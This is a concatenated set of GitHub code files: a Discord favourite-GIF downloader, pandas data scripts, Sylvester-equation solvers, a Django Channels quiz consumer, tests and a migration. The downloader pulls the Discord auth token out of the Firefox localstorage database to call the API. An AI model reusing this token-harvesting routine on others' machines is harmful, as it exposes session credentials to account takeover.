self.h,\r\n \"src\": self.src,\r\n \"url\": self.url,\r\n \"format\": self.format,\r\n \"path\": self.path\r\n }\r\n\r\n def _download_generic(self, url):\r\n # Create downloads path if it doesn't exist\r\n if not os.path.exists(\"downloads\"):\r\n os.mkdir(\"downloads\")\r\n\r\n file_name = os.path.basename(url)\r\n file_path = os.path.join(\"downloads\", file_name)\r\n\r\n # Create file and make sure it doesn't duplicate\r\n i = 1\r\n name, extension = os.path.splitext(file_name)\r\n while os.path.exists(file_path):\r\n file_path = os.path.join(\"downloads\", name + \"-\" + str(i) + extension)\r\n i += 1\r\n\r\n # Download the file\r\n r = requests.get(url)\r\n with open(file_path, mode=\"wb\") as f:\r\n f.write(r.content)\r\n\r\n self.path = file_path\r\n\r\n print(f\"[DOWNLOAD] {self.sanitized_url}\")\r\n\r\n def _extract_tenor_url(self, url):\r\n r = requests.get(url)\r\n tree: _ElementTree = etree.parse(StringIO(r.text), HTML_PARSER)\r\n meta_tags: List[ElementBase] = tree.xpath(\"//meta\")\r\n for tag in meta_tags:\r\n if \"itemprop\" in tag.attrib:\r\n if tag.attrib[\"itemprop\"] == 'contentUrl':\r\n return tag.attrib[\"content\"]\r\n\r\n def download(self):\r\n if self.path is not None:\r\n return\r\n\r\n # If URL ends with .gif, it's very likely it's a plain file\r\n if self.sanitized_url.endswith(\".gif\"):\r\n return self._download_generic(self.sanitized_url)\r\n\r\n # Handle tenor URLs\r\n if self.url_host == \"tenor.com\":\r\n url = self._extract_tenor_url(self.sanitized_url)\r\n # Edge case where tenor gifs get removed\r\n if url is not None:\r\n return self._download_generic(url)\r\n return None\r\n\r\n else:\r\n print()\r\n print(f\"[UNSUPPORTED URL] ({self.url_host})\", self.sanitized_url)\r\n print()\r\n\r\nclass DataNotLoadedError(RuntimeError):\r\n def __init__(self) -> None:\r\n super().__init__(\"Data has not been loaded\")\r\n\r\nclass DataManager:\r\n\r\n def __init__(self, load: bool = True) -> None:\r\n self._gif_list: Optional[List[dict]] = None\r\n\r\n if load:\r\n self.load()\r\n\r\n @property\r\n def data(self):\r\n if self._gif_list is None:\r\n raise DataNotLoadedError\r\n return self._gif_list\r\n\r\n def load(self) -> bool:\r\n \"\"\"Loads data from file to memory.\"\"\"\r\n # If data file does not exist, sets the value to empty dict and returns false\r\n if not os.path.exists(\"data.json\"):\r\n self._gif_list = []\r\n return False\r\n\r\n # If data file exists, load it\r\n with open(\"data.json\", mode=\"r\") as f:\r\n self._gif_list = json.load(f)\r\n return True\r\n\r\n def save(self) -> None:\r\n \"\"\"Saves data from memory to file.\"\"\"\r\n with open(\"data.json\", mode=\"w\") as f:\r\n json.dump(self._gif_list, f)\r\n\r\n def merge(self, new_gif_list: List[dict]):\r\n \"\"\"Merges 2 lists together.\r\n\r\n Note, this does not remove the old entries.\"\"\"\r\n\r\n # If no data was loaded, just pass the new gif list and be done with it.\r\n if self._gif_list is None or len(self._gif_list) == 0:\r\n\r\n # Avoid duplicate entries upon initial load\r\n temp_gif_urls = []\r\n for i, gif in enumerate(new_gif_list):\r\n if gif[\"url\"] in temp_gif_urls:\r\n new_gif_list.pop(i)\r\n continue\r\n temp_gif_urls.append(gif[\"url\"])\r\n\r\n self._gif_list = new_gif_list\r\n return self.data\r\n\r\n orig_url_list = []\r\n for gif in self._gif_list:\r\n orig_url_list.append(gif[\"url\"])\r\n\r\n for gif in new_gif_list:\r\n if gif[\"url\"] in orig_url_list:\r\n continue\r\n\r\n print(\"[MERGE]\", gif[\"url\"])\r\n self._gif_list.append(gif)\r\n\r\n def deserialize_gifs(self) -> List[FavoritedGIF]:\r\n \"\"\"Deserializes and returns a list of FavoritedGIF objects.\"\"\"\r\n return [FavoritedGIF(d) for d in self._gif_list or []]\r\n\r\n def serialize_gifs(self, gifs: List[FavoritedGIF]) -> List[dict]:\r\n \"\"\"Serializes and returns a list of GIF dicts.\"\"\"\r\n self._gif_list = [gif.serialize() for gif in gifs]\r\n return self.data\r\n\r\n\r\nclass LocalStorageEntry:\r\n\r\n def __init__(self, data: Tuple[str, str, str]) -> None:\r\n self.origin_attributes, self.key, self.value = data\r\n # Tries to fix strings which are '\"saved with quotation marks\"'\r\n if self.value[0] == '\"' and self.value[-1] == '\"':\r\n self.value = self.value[1:-1]\r\n\r\n def __repr__(self) -> str:\r\n return f'<LocalStorageEntry key=\"{self.key}\" value=\"{self.value}\">'\r\n\r\nclass ProtoSettingsReader:\r\n\r\n def __init__(self, raw_string: str) -> None:\r\n decoded_bytes = base64.decodebytes(bytes(raw_string, encoding=\"utf-8\"))\r\n self._proto = proto.FrecencyUserSettings()\r\n self._proto.ParseFromString(decoded_bytes)\r\n\r\n def get_versions(self):\r\n return self._proto.versions\r\n\r\n # Why is this the only one that returns civilized data?\r\n # The only reason for is because I actually need to use and parse\r\n # this data. Other methods exist just so I can do the pro-grammer\r\n # move of just copy pasting this class in my other projects,\r\n # just in case I ever need it :)\r\n def get_favorite_gifs(self) -> List[dict]:\r\n \"\"\"Returns a dictionary list of favorite gifs.\r\n Note: list is not guaranteed to be in the same order every time.\"\"\"\r\n gifs = []\r\n for key in self._proto.favorite_gifs.gifs:\r\n # We will not be taking advantage of GIF order\r\n mapping = self._proto.favorite_gifs.gifs[key]\r\n gif_dict = {\r\n \"width\": mapping.width,\r\n \"height\": mapping.height,\r\n \"src\": mapping.src,\r\n \"url\": key,\r\n \"format\": \"VIDEO\" if mapping.format == 2 else \"IMAGE\"\r\n }\r\n gifs.append(gif_dict)\r\n return gifs\r\n\r\n def get_favorite_stickers(self):\r\n return self._proto.favorite_stickers\r\n\r\n def get_sticker_frecency(self):\r\n return self._proto.sticker_frecency\r\n\r\n def get_favorite_emojis(self):\r\n return self._proto.favorite_emojis\r\n\r\n def get_emoji_frecency(self):\r\n return self._proto.emoji_frecency\r\n\r\n def get_application_command_frecency(self):\r\n return self._proto.application_command_frecency\r\n\r\n\r\ndef main():\r\n parser = argparse.ArgumentParser(\"Discord favourite GIF downloader\")\r\n parser.add_argument(\"-t\", \"--token\", help=\"Specifies Discord token, alternatively extracts one from Firefox automatically\")\r\n parser.add_argument('--localstorage', help=\"Tells the program to get favourite GIFs from Firefox's localstorage\", dest=\"local\", action='store_true')\r\n parser.set_defaults(local=False)\r\n args = parser.parse_args()\r\n\r\n require_firefox_paths = args.token is None or args.local is True\r\n\r\n # Only discover firefox paths when user requires it\r\n if require_firefox_paths:\r\n\r\n # Get profile paths\r\n if os.name == \"nt\":\r\n firefox_profiles_path = os.path.join(os.getenv('APPDATA'), \"Mozilla\", \"Firefox\", \"Profiles\")\r\n else:\r\n firefox_profiles_path = os.path.expanduser(\"~/.mozilla/firefox\")\r\n\r\n # Find specific profile path\r\n # TODO: add some user input stuff\r\n if os.name == 'nt':\r\n firefox_profile_path = os.path.join(firefox_profiles_path, \"gkouv51m.default-release\")\r\n else:\r\n firefox_profile_path = os.path.join(firefox_profiles_path, \"2kgd5r1z.default\")\r\n\r\n db_path = os.path.join(firefox_profile_path, \"webappsstore.sqlite\")\r\n print(\"Accessing the database at:\", db_path)\r\n \r\n # Initialize some managers and stuff\r\n manager = DataManager()\r\n gifs = []\r\n\r\n # Stricly if user demands data from localstorage\r\n if args.local:\r\n print(\"Acquiring data from localstorage\")\r\n # This is all purely for my use case, it uses Mozilla's localstorage DB\r\n db = sqlite3.connect(db_path)\r\n cur = db.cursor()\r\n cur.execute(\r\n \"SELECT originattributes, key, value \"\r\n \"FROM webappsstore2 \"\r\n \"WHERE originattributes LIKE '%firstPartyDomain=discord.com' AND `key` = 'GIFFavoritesStore'\"\r\n )\r\n entries = [LocalStorageEntry(t) for t in cur.fetchall()]\r\n\r\n for entry in entries:\r\n\r\n # Get the correct item, userContextId=1 is from containers, this one refers to my personal one\r\n if 'userContextId=1' in entry.origin_attributes:\r\n data = json.loads(entry.value)\r\n manager.merge(data[\"_state\"][\"favorites\"])\r\n break\r\n \r\n # Otherwise, strictly use tokens and the proto API for data\r\n else:\r\n print(\"Acquiring data from the API\")\r\n\r\n token: str = None\r\n if args.token:\r\n print(\"Token provided by a command line argument\")\r\n token = args.token\r\n else:\r\n print(\"Token not provided by a command line argument, extracting one from Firefox automatically\") \r\n\r\n # Get data from a sqlite DB\r\n db = sqlite3.connect(os.path.join(firefox_profile_path, \"webappsstore.sqlite\"), timeout=5)\r\n cur = db.cursor()\r\n cur.execute(\r\n \"SELECT originAttributes, key, value \"\r\n \"FROM webappsstore2 \"\r\n \"WHERE key = 'token' AND originKey = ?\",\r\n\r\n (\"discord.com\"[::-1] + \".:https:443\",) # Firefox for some reason stores them flipped\r\n ) \r\n entries = [LocalStorageEntry(r) for r in cur.fetchall()]\r\n cur.close()\r\n db.close()\r\n\r\n # Deal with entries\r\n if len(entries) == 0:\r\n raise RuntimeError(\"Unable to find any discord tokens\")\r\n if len(entries) > 1:\r\n # TODO: add user selection\r\n raise RuntimeError(\"Multiple tokens have been found, I am bailing out. Are you running multi-account containers by any chance?\")\r\n\r\n token = entries[0].value\r\n\r\n # Fetch data from new API\r\n r = requests.get(\"https://discord.com/api/v9/users/@me/settings-proto/2\", headers={\r\n \"Authorization\": token\r\n })\r\n data = r.json()\r\n if \"settings\" not in data:\r\n raise RuntimeError(f\"Tried using token, but an error was encountered:\\n{data['message']}\")\r\n\r\n reader = ProtoSettingsReader(data[\"settings\"])\r\n manager.merge(reader.get_favorite_gifs())\r\n \r\n\r\n # Do the actual data clean-up\r\n gifs = manager.deserialize_gifs()\r\n if len(gifs) == 0:\r\n print(\"Failure: no GIFs were deserialized!\")\r\n exit(2)\r\n\r\n for gif in gifs:\r\n gif.download()\r\n\r\n manager.serialize_gifs(gifs)\r\n manager.save()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"JustAnyones/Discord-favourite-GIF-downloader","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"4305118136","text":"import pandas as pd\n\n#df2=pd.DataFrame(['DATE','HAE'])\ndf=pd.read_csv('/home/gluk/EO_CONVERT/ASC/1min/KLYT_2013_04_16months.txt', sep=',', names=['DATE','HAE','HAN','HK2','MIC'])\n#df2=df.copy()\nHAE=pd.DataFrame({'DATE':df['DATE'],'HAE':df['HAE']})\nHAN=pd.DataFrame({'DATE':df['DATE'],'HAN':df['HAN']})\nHK2=pd.DataFrame({'DATE':df['DATE'],'HK2':df['HK2']})\nHAE.to_csv('/home/gluk/EO_CONVERT/ASC/1min/KLYT_2013_04_06months_HAE.txt', header=None, index=False)\nHAN.to_csv('/home/gluk/EO_CONVERT/ASC/1min/KLYT_2013_04_06months_HAN.txt', header=None, index=False)\nHK2.to_csv('/home/gluk/EO_CONVERT/ASC/1min/KLYT_2013_04_06months_HK2.txt', header=None, index=False)\nprint(df2)","repo_name":"glukvit/RAW_DATA_TILT_CONVERTER","sub_path":"DF_for_EO_converter.py","file_name":"DF_for_EO_converter.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"12982302245","text":"import csv\nimport pandas as pd\n# https://pandas.pydata.org/docs/\n\n\n# In & Output\n# preName = input(\"Wie ist dein Name?\\n\")\n#\n# print(f\"Hallo {input('Wie ist dein Name?')}\")\n\n# mit Input können wir Eingabe vom User anfragen\n# Wird immer als String wiedergegeben\n\n\ndef getNum():\n x = input(\"Gib mir eine Zahl:\")\n while not x.isnumeric():\n print(f\"{x} ist keine Zahl.\")\n x = input(\"Gib mir eine Zahl:\")\n return int(x)\n\n\n#\n# x = getNum()\n# y = getNum()\n# z = getNum()\n\n# res = sum((x, y, z))\n# print(res)\n\n# Fileinput\n# r - read\n# a - append\n# w - write\n# w+ - write and read\n\n# file = open(\"test.txt\", \"r+\")\n# for x in range(1,11):\n# file.write(f\"Zeile: {x}\\n\")\n# # file.close()\n# # file = open(\"test.txt\", \"r+\")\n\n\n# Verhindert das \"Vergessen\" von Daten, da die Datei nach dem Ende des Blocks immer geschlossen wird\nwith open(\"test.txt\", \"r+\") as file:\n for x in range(1, 31):\n file.write(f\"Zeile{x}\\n\")\n\n# CSV Dateien\n#\n# with open(\"test.csv\", newline=\"\") as csvFile:\n# reader = csv.DictReader(csvFile)\n# for row in reader:\n# print(row)\n\ncsvFile = pd.read_csv(\"test.csv\", header=None)\nprint(csvFile)\n# DataFrame - ganze Tabelle\n# Series - eine Spalte\n\n\nmyDict = {\"name\": [\"Marius\", \"Thomas\", \"Max\", \"Erika\"],\n \"nachname\": [\"Sommer\", \"Jungwirth\", \"Mustermann\", \"Musterfrau\"],\n \"alter\": [27, 28, 22, 39]\n }\ndf = pd.DataFrame(myDict)\nprint(df)\nnewRow = {\"name\": [\"Test\"], \"nachname\": [\"Test2\"], \"alter\": [44]}\n# df = df.append(newRow, ignore_index=True) Veraltet\nnewRow = pd.DataFrame(newRow)\nprint(newRow)\ndf = pd.concat([df, newRow])\ndf.to_csv(\"neueCsv.csv\", index=False)\ndf.reset_index(inplace=True, drop=True)\ndf.to_excel(\"test.xlsx\")\nsumOfAge = df[\"alter\"].sum()\nprint(sumOfAge)\nprint(df[\"nachname\"][1])\n\n# for row in df:\n# print(row)\n# for column in row:\n# print(column)\n\nfor index, row in df.iterrows():\n print(index , row)\n\ncsvFile = pd.read_csv(\"neueCsv.csv\", header=None)\ndfDict = csvFile.to_dict(\"series\")\nprint(dfDict)\ndfList = csvFile.values.tolist()\nprint(dfList)\n# dataList = dfDict[\"data\"]\n# print(dataList)\n#\n# for x in range(1, len(dataList)):\n# print(dataList[x])\nnewFrame = pd.DataFrame()\nreturnFrame = df.copy()\n\nfor index, row in df.iterrows():\n if (row[\"alter\"] > 30):\n returnFrame.drop([index], inplace=True)\nelse:\n returnFrame.sort_values(inplace=True, by=[\"alter\"], ascending=False)\n returnFrame.reset_index(inplace=True, drop=True)\n\nprint(returnFrame)\n","repo_name":"ppedvAG/2022-02-21-Python","sub_path":"Modul4.py","file_name":"Modul4.py","file_ext":"py","file_size_in_byte":2494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"11946966909","text":"\n\nfrom time import time\nfrom typing import Callable, Tuple\n\nimport numpy as np\nfrom scipy.linalg import schur\nfrom scipy.linalg import solve_sylvester as sp_sylvester\n\n\ndef solve_bartels_stewart(A: np.ndarray, B: np.ndarray, C: np.ndarray, fun: Callable, **args) -> Tuple[np.ndarray, float, float, float]:\n \"\"\"Solve the Sylvester equation with given function in three steps and return timing of each step:\n i) Schur decomposition\n ii) Solving upper quasi-triangular matrix equation\n iii) Map back to original coordinate system\n\n :param fun: function taking 3 input arguments A, B, C and writes the solution in C\n :param args: arguments passed to fun\n :return: tuple (X, t_schur, t_trisolve, t_back), solution and timings of each step\n \"\"\"\n # ------ Schur decomposition:\n # A = U R U^T\n # B = V S V^T\n t_schur = time()\n R, U = schur(A)\n S, V = schur(B)\n # New system becomes RZ + ZS = D, Z is unknown\n D = np.linalg.multi_dot((U.T, C, V))\n t_schur = time() - t_schur\n\n # ------ Solve matrix equation RZ + ZS = D\n # Solver modifies D in place\n t_trisolve = time()\n fun(R, S, D, **args)\n t_trisolve = time() - t_trisolve\n\n # ------ Back transformation\n # Z = U^T X V <=> X = U Z V^T\n t_back = time()\n Z = D\n X = np.linalg.multi_dot((U, Z, V.T))\n t_back = time() - t_back\n\n return X, t_schur, t_trisolve, t_back\n\n\ndef build_matrices(m, n):\n \"\"\"Generate random matrices A (mxm), B (nxn), C (mxn).\"\"\"\n A = np.random.randn(m, m)\n B = np.random.randn(n, n)\n C = np.random.randn(m, n)\n return A, B, C\n\n\ndef build_matrices_lyap(n):\n \"\"\"Generate random matrices for the lyapunov equation\"\"\"\n A = np.random.randn(n, n)\n C = np.random.randn(n, n)\n C = (C + C.T) / 2\n return A, C\n\n\ndef solve_sylvester_scipy(A: np.ndarray, B: np.ndarray, C: np.ndarray):\n \"\"\"Solve the Sylvester equation AX - XB = C with scipy's function by modifying C in place.\"\"\"\n # Warning, need [:, :] slicing to modify C in place\n # Warning 2, scipy's solve_sylvester function solves AX + XB = C, not AX - XB = C, put minus sign\n C[:, :] = sp_sylvester(A, -B, C)\n\n\ndef solve_sylvester_linear(A: np.ndarray, B: np.ndarray, C: np.ndarray):\n \"\"\"Solve the Sylvester equation AX - XB = C by solving the linear system Mx = c, with\n - M := I x A - B^T x I\n - x := vec(X)\n - c := vec(C)\n where x is the Kronecker product, vec() the vectorization operation.\n This modifies C in place.\n \"\"\"\n m, n = A.shape[0], B.shape[0]\n M = np.kron(np.eye(n), A) - np.kron(B.T, np.eye(m))\n c = C.reshape((m*n, 1), order='F')\n x = np.linalg.solve(M, c)\n # Put (reshaped) solution in C\n C[:, :] = x.reshape((m, n), order='F')\n\n\ndef gemm(A: np.ndarray, B: np.ndarray, C: np.ndarray):\n \"\"\"Perform general matrix multiply and add (GEMM) operation in place:\n C <- C + AB\n \"\"\"\n C += A @ B\n\n\ndef check_sol(A: np.ndarray, B: np.ndarray, C: np.ndarray, x: np.ndarray) -> bool:\n \"\"\"Check solution of the Sylvester equation\"\"\"\n return np.allclose(A @ x - x @ B, C)\n","repo_name":"matthiaszeller/linalg-sylvester","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"86264009959","text":"import json\r\nfrom random import randint\r\nfrom time import sleep\r\n\r\nfrom channels.generic.websocket import WebsocketConsumer\r\nfrom asgiref.sync import async_to_sync\r\nfrom .models import QuizTaker\r\n\r\n # ------------------------------ #\r\n \r\nclass QuizRoomConsumer(WebsocketConsumer):\r\n\r\n def connect(self):\r\n self.room_name = self.scope['url_route']['kwargs']['room_code']\r\n self.room = QuizTaker.objects.get(room_code=self.room_name)\r\n self.room_group_name = 'room_%s' % self.room_name\r\n self.actualLevel = 0\r\n self.players = {\r\n \"game_creator\": {\r\n 'levels': {\r\n '1': 'false',\r\n '2': 'false',\r\n '3': 'false',\r\n '4': 'false',\r\n '5': 'false',\r\n },\r\n 'username': 'default',\r\n \r\n },\r\n \"game_opponent\": {\r\n 'levels': {\r\n '1': 'false',\r\n '2': 'false',\r\n '3': 'false',\r\n '4': 'false',\r\n '5': 'false',\r\n },\r\n 'username': 'default',\r\n }\r\n \r\n }\r\n \r\n\r\n if self.room.connected_users >= 2:\r\n return self.close()\r\n\r\n else: \r\n self.players['game_creator']['username'] = self.scope[\"user\"]\r\n print(self.scope[\"user\"])\r\n self.room.connected_users = self.room.connected_users + 1\r\n self.room.save(update_fields=['connected_users'])\r\n print(self.room.connected_users)\r\n \r\n #if(self.room.connected_users < 1):\r\n ## self.players.player_one.name = player\r\n # else:\r\n # self.players.player_two.name = player\r\n # \r\n #for player in players:\r\n # print(player.name)\r\n \r\n #TODO: \r\n # 1. zrobic zeby nie polaczalo drugiego gracza gdy ten sam gram polaczy sie z innej karty,\r\n # zeby to zrobic musze za kazdym razem wysylac tu imie uzytkownika, typ danych player_name\r\n # i jesli typ message to player_name, wtedy wykonuje sie powyzszy if, ale pierwszo konsumer sprawdza czy\r\n # uzytkownik o takich danych istnieje czyli wyzej musze tego ifa dopisac, typ\r\n # to moze sie wydawac podatne na ataki typu DoS. Jakie jest lepsze rozwiazanie?\r\n # 2. Na poziomie uzytkownika, sprawdzac czy uzytkownik jest polaczony juz (vuex), dac\r\n # na wszelki wypadek zeby klepsydra byla przynajmniej 5 sec???\r\n # czyli zrobic nowy setter i getterem brac name uzytkownika i wysylac na socket, wtedy socket\r\n # sprawdza czy uzytkownik taki istnieje juz. Jesli tak to nie laczy, jest nie to laczy. #TODO: * Podatne na Dos???\r\n \r\n # Potem ma wysylac do graczy grupowo wiadomosc ze nowa runda jest gotowa i gra odpala kolejna runde\r\n # , ale tylko jesli\r\n \r\n \r\n \r\n \r\n async_to_sync(self.channel_layer.group_add) (\r\n self.room_group_name,\r\n self.channel_name\r\n )\r\n\r\n self.accept()\r\n \r\n async_to_sync(self.channel_layer.group_send) (\r\n self.room_group_name,{\r\n 'type': 'send_user_info',\r\n 'payload' : json.dumps(self.room.connected_users)\r\n }\r\n )\r\n\r\n \r\n \r\n #self.send(text_data=\"[Welcome %s!]\" % self.player_one) #to change\r\n\r\n def disconnect(self, close_code):\r\n self.room.connected_users = self.room.connected_users - 1 \r\n self.room.save(update_fields=['connected_users'])\r\n \r\n async_to_sync(self.channel_layer.group_discard) (\r\n self.room_group_name,\r\n self.channel_name\r\n )\r\n print(self.room.connected_users)\r\n \r\n \r\n def receive(self, text_data):\r\n print(text_data)\r\n username_str = None\r\n username = self.scope[\"user\"]\r\n \r\n data = json.loads(text_data)\r\n \r\n print(data['data']['level'])\r\n \r\n async_to_sync(self.channel_layer.group_send) (\r\n self.room_group_name,{\r\n 'type' : 'run_game',\r\n 'payload' : text_data,\r\n 'sender_channel_name': self.channel_name\r\n }\r\n )\r\n \r\n \r\n \r\n \r\n \r\n\r\n def run_game(self, event):\r\n data = event['payload']\r\n data = json.loads(data)\r\n \r\n \r\n if self.channel_name != event['sender_channel_name']:\r\n self.send(text_data = json.dumps({\r\n 'payload' : data['data'],\r\n }))\r\n \r\n def send_user_info(self, event):\r\n data = event['payload']\r\n data = json.loads(data)\r\n \r\n self.send(text_data = json.dumps({\r\n 'payload' : data,\r\n })) \r\n \r\n \r\n\r\n \r\n \r\n \r\n ","repo_name":"alexiokay/quizcity","sub_path":"quizes/consumers.py","file_name":"consumers.py","file_ext":"py","file_size_in_byte":5104,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"35646934839","text":"import sys\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\n\nsys.path.append('src/group17pkg')\nfrom analysis_visualizations import visualize_classification\n\ndef test_data():\n \"\"\"\n Produces a mock dataset to be used for testing\n Parameters\n ----------\n None\n Returns\n ----------\n pd.DataFrame: mock data frame with a small subset of data\n \"\"\"\n return pd.DataFrame({\n 'age':[41,23,46,70],\n 'TSH':[1.3, 4.1, 0.98, 0.16],\n 'TT4':[125,102,109,175],\n 'T4U':[1.14,0.91,0.87,1.3],\n 'FTI':[109,120,70,141]\n })\n\ndef empty_plot():\n \"\"\"\n Produces an empty scatterplot\n Parameters\n ----------\n None\n Returns\n ----------\n fig: An empty scatterplot with specified axis labels\n \"\"\"\n fig = plt.figure()\n plt.scatter(pd.DataFrame(), pd.DataFrame(), c=np.empty(0), s=50, cmap='viridis')\n plt.xlabel(\"TSH concentration\")\n plt.ylabel(\"TT4 concentration\")\n # Add a color bar to the plot\n cb = plt.colorbar()\n cb.set_label('Color Label')\n return fig\n\ndef test_visualize_classification_keyerror():\n \"\"\"\n Tests that the correct columns exist in the dataframe when visualize_classification is used\n Parameters\n ----------\n None\n Returns\n ----------\n None if no error, prints \"Column TSH and/or TT4 do not exist\" if KeyError is present\n \"\"\"\n try:\n result = visualize_classification(pd.DataFrame(), np.random.randint(low=0, high = 2, size = (4,)))\n except KeyError:\n print(\"Column TSH and/or TT4 do not exist\")\n\ndef test_visualize_classification_axeslabels():\n \"\"\"\n Tests that the plot axis labels are correct when visualize_classification is used\n Parameters\n ----------\n None\n Returns\n ----------\n True if axis labels are correct, AssertionError if axis labels are incorrect\n \"\"\"\n result = visualize_classification(test_data(), np.random.randint(low=0, high = 2, size = (4,)))\n assert(result.get_axes()[0].get_xlabel() == 'TSH concentration')\n assert(result.get_axes()[0].get_ylabel() == 'TT4 concentration')\n\ndef test_visualize_classification_empty():\n \"\"\"\n Tests that utilizing visualize_classification with an empty dataset returns an empty plot\n Parameters\n ----------\n None\n Returns\n ----------\n True if an empty plot is created, AssertionError otherwise\n \"\"\"\n empty_df = pd.DataFrame(columns=['age', 'TSH', 'TT4', 'T4U', 'FTI'])\n result = visualize_classification(empty_df, np.empty(0))\n assert(result.show() == empty_plot().show())\n\n","repo_name":"DSCI-310/dsci-310-group-17-pkg","sub_path":"tests/test_analysis_visualizations.py","file_name":"test_analysis_visualizations.py","file_ext":"py","file_size_in_byte":2592,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"28920111144","text":"from utils import *\n\nif __name__ == '__main__':\n # Create synthetic data\n num_restart = 50\n\n accuracy_list_kmeans = []\n accuracy_list_em = []\n objective_list_kmeans = []\n objective_list_em = []\n for sigma in [0.5, 1, 2, 4, 8]:\n print(\"\\nSIGMA = {}\".format(sigma))\n x1,x2,x3 = generate_synth(sigma)\n \n data = np.concatenate((x1, x2, x3))\n plt.plot(x1[:,0], x1[:,1], 'ro', label='x1')\n plt.plot(x2[:,0], x2[:,1], 'bo', label='x2')\n plt.plot(x3[:,0], x3[:,1], 'go', label='x3')\n plt.legend()\n plt.title('Synthetic data')\n plt.savefig(\"figures/synthetic_data_sigma{}.pdf\".format(sigma))\n plt.clf()\n # K means on x1 x2 and x3 \n clusters_kmeans,centroids_kmeans,objective_kmeans = kmeans(data, 3)\n # EM on x1 x2 and x3\n clusters_em, weights_em, objective_em = expectation_maximization(data, 3)\n\n # Get labels from the concatenated data\n\n accuracy_kmeans = clustering_accuracy(clusters_kmeans)\n accuracy_em = clustering_accuracy(clusters_em)\n \n for k in range(num_restart):\n new_clusters_kmeans,new_centroids_kmeans, new_objective_kmeans = kmeans(data, 3)\n new_clusters_em, new_weights_em, new_objective_em = expectation_maximization(data, 3)\n \n if new_objective_kmeans < objective_kmeans:\n objective_kmeans = new_objective_kmeans\n clusters_kmeans = new_clusters_kmeans\n centroids_kmeans = new_centroids_kmeans\n\n if new_objective_em < objective_em:\n objective_em = new_objective_em\n clusters_em = new_clusters_em\n weights_em = new_weights_em\n\n accuracy_list_kmeans.append(accuracy_kmeans)\n accuracy_list_em.append(accuracy_em)\n objective_list_kmeans.append(objective_kmeans)\n objective_list_em.append(objective_em)\n print(\"K-means accuracy : {}% Objective : {}\".format(accuracy_kmeans*100,int(objective_kmeans)))\n print(\"EM accuracy : {}% Objective : {}\".format(accuracy_em*100,int(objective_em)))\n\n plt.plot(accuracy_list_em, label='EM')\n plt.plot(accuracy_list_kmeans, label='K-means')\n\n # Change name of x ticks\n plt.xticks([0,1,2,3,4], [0.5,1,2,4,8])\n plt.xlabel('Sigma')\n plt.ylabel('Kmeans/EM accuracy')\n plt.legend()\n plt.title('Kmeans and EM vs Sigma')\n plt.savefig(\"figures/accuracy_vs_sigma.pdf\")\n plt.clf()\n\n # Plot objective vs sigma\n plt.plot(objective_list_em, label='EM')\n plt.plot(objective_list_kmeans, label='K-means')\n\n # Change name of x ticks\n plt.xticks([0,1,2,3,4], [0.5,1,2,4,8])\n plt.xlabel('Sigma')\n plt.ylabel('Kmeans/EM objective')\n plt.legend()\n plt.title('Kmeans and EM vs Sigma')\n plt.savefig(\"figures/objective_vs_sigma.pdf\")\n plt.clf()\n","repo_name":"jcnf0/courses","sub_path":"cs-760/homework-5/kmeans_em.py","file_name":"kmeans_em.py","file_ext":"py","file_size_in_byte":2879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"16484757623","text":"#!/usr/bin/env python3\n\"\"\"\nAuthor: Ian Coleman\nInput: Text file of two ints separated by a space\n\nChallenge: \nGiven: Positive integers n≤40 and k≤5.\nReturn: The total number of rabbit pairs that will be present after n months, \nif we begin with 1 pair and in each generation, every pair of reproduction-age \nrabbits produces a litter of k rabbit pairs (instead of only 1 pair).\n\nSample Dataset\n5 3\nSample Output\n19\n\n\"\"\"\n\nfrom sys import argv\nimport pdb\n\ndef intake_data(text_file):\n\t\"\"\"\n\tInput: text file with two integers (n and k) separated by a space\n\tOutput: two ints: n, k \n\t\"\"\" \n\twith open(text_file) as file_object:\n\t\tfull_input = file_object.read()\n\t\tsplit_input = full_input.split(\" \")\n\treturn int(split_input[0]), int(split_input[1])\n\ndef number_rabbits(n, k):\n\t\"\"\"\n\tInput: Two ints, n the no. months, k the no. offspring pairs per breeding\n\tOutput: Resulting no. rabbits after n months\n\t\"\"\"\n\tseq = [1, 1]\n\tif n <= 2: return seq[n]\n\t\n\t#Cycle through each month until nth month, appending total pairs\n\tfor i in range(2, n):\n\t\tnew_pairs = seq[i-1] + (k *seq[i-2])\n\t\tseq.append(new_pairs)\n\treturn seq[n-1] \n\nif __name__ == \"__main__\":\n\tn,k = intake_data(argv[1])\n\tanswer = number_rabbits(n,k)\n\tprint(answer)\n\n\n#Recurrence relation: Fn = Fn-1 + k(Fn-2)","repo_name":"colemai/bioinformatics_scripts","sub_path":"rosalind/ros15_rabbits_recurrence_relations.py","file_name":"ros15_rabbits_recurrence_relations.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"363929202","text":"\"\"\" Add index on Image.iiif_id\n\nRevision ID: 58cbc3838dcd\nRevises: f7a7c1283217\nCreate Date: 2017-01-21 09:07:08.591894\n\n\"\"\"\nfrom alembic import op\n\n\n# revision identifiers, used by Alembic.\nrevision = '58cbc3838dcd'\ndown_revision = 'f7a7c1283217'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n op.create_index(op.f('ix_image_iiif_id'), 'image', ['iiif_id'],\n unique=False)\n\n\ndef downgrade():\n op.drop_index(op.f('ix_image_iiif_id'), 